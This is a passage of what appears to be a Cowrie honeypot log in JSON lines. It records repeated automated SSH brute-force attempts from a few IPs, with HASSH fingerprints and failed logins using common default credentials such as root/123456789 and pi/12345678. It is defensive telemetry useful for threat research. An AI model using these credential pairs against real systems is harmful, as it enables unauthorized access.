sh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:37.729711Z","src_ip":"45.156.87.253","session":"cbe36d550745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:37.974397Z","src_ip":"45.156.87.253","session":"cbe36d550745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:39.058274Z","src_ip":"45.156.87.253","session":"cbe36d550745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54896,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ba11c5b929d","protocol":"ssh","message":"New connection: 45.156.87.253:54896 (10.17.0.5:22) [session: 1ba11c5b929d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:40.954776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:40.961203Z","src_ip":"45.156.87.253","session":"1ba11c5b929d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:41.041418Z","src_ip":"45.156.87.253","session":"1ba11c5b929d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:41.283529Z","src_ip":"45.156.87.253","session":"1ba11c5b929d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:42.471416Z","src_ip":"45.156.87.253","session":"1ba11c5b929d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54908,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4427f5d366c","protocol":"ssh","message":"New connection: 45.156.87.253:54908 (10.17.0.5:22) [session: b4427f5d366c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:44.258355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:44.261893Z","src_ip":"45.156.87.253","session":"b4427f5d366c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:44.343068Z","src_ip":"45.156.87.253","session":"b4427f5d366c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:44.589256Z","src_ip":"45.156.87.253","session":"b4427f5d366c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:45.673714Z","src_ip":"45.156.87.253","session":"b4427f5d366c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54924,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b09a61b3023","protocol":"ssh","message":"New connection: 45.156.87.253:54924 (10.17.0.5:22) [session: 2b09a61b3023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:47.769979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:47.772454Z","src_ip":"45.156.87.253","session":"2b09a61b3023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:47.854107Z","src_ip":"45.156.87.253","session":"2b09a61b3023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:48.098616Z","src_ip":"45.156.87.253","session":"2b09a61b3023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:49.181700Z","src_ip":"45.156.87.253","session":"2b09a61b3023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49410,"dst_ip":"10.17.0.5","dst_port":22,"session":"2897f6f030f3","protocol":"ssh","message":"New connection: 46.19.67.181:49410 (10.17.0.5:22) [session: 2897f6f030f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:49.881116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:49.884714Z","src_ip":"46.19.67.181","session":"2897f6f030f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:49.987746Z","src_ip":"46.19.67.181","session":"2897f6f030f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26051981","message":"login attempt [root/26051981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:50.297744Z","src_ip":"46.19.67.181","session":"2897f6f030f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35322,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a39585b056","protocol":"ssh","message":"New connection: 45.156.87.253:35322 (10.17.0.5:22) [session: 28a39585b056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.105127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.110584Z","src_ip":"45.156.87.253","session":"28a39585b056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.190971Z","src_ip":"45.156.87.253","session":"28a39585b056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.402651Z","src_ip":"46.19.67.181","session":"2897f6f030f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.433072Z","src_ip":"45.156.87.253","session":"28a39585b056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":45438,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cf812c95b66","protocol":"ssh","message":"New connection: 85.214.154.50:45438 (159.203.135.109:22) [session: 6cf812c95b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.517360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.519040Z","src_ip":"85.214.154.50","session":"6cf812c95b66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.610866Z","src_ip":"85.214.154.50","session":"6cf812c95b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hnt!M@st3r#P@ss","message":"login attempt [root/Hnt!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:51.888838Z","src_ip":"85.214.154.50","session":"6cf812c95b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:52.564331Z","src_ip":"45.156.87.253","session":"28a39585b056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:52.982261Z","src_ip":"85.214.154.50","session":"6cf812c95b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.629682064056396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:54.080934Z","src_ip":"50.62.181.92","session":"b4f9faf2a8b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35338,"dst_ip":"10.17.0.5","dst_port":22,"session":"17cc73a81ea5","protocol":"ssh","message":"New connection: 45.156.87.253:35338 (10.17.0.5:22) [session: 17cc73a81ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:54.466211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:54.468896Z","src_ip":"45.156.87.253","session":"17cc73a81ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:54.548818Z","src_ip":"45.156.87.253","session":"17cc73a81ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:54.868851Z","src_ip":"45.156.87.253","session":"17cc73a81ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:55.951583Z","src_ip":"45.156.87.253","session":"17cc73a81ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":35348,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ae01a1c0ea5","protocol":"ssh","message":"New connection: 45.156.87.253:35348 (10.17.0.5:22) [session: 4ae01a1c0ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:57.979018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:57.982213Z","src_ip":"45.156.87.253","session":"4ae01a1c0ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:58.062693Z","src_ip":"45.156.87.253","session":"4ae01a1c0ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:58.307152Z","src_ip":"45.156.87.253","session":"4ae01a1c0ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:22:59.391431Z","src_ip":"45.156.87.253","session":"4ae01a1c0ea5","protocol":"ssh"}
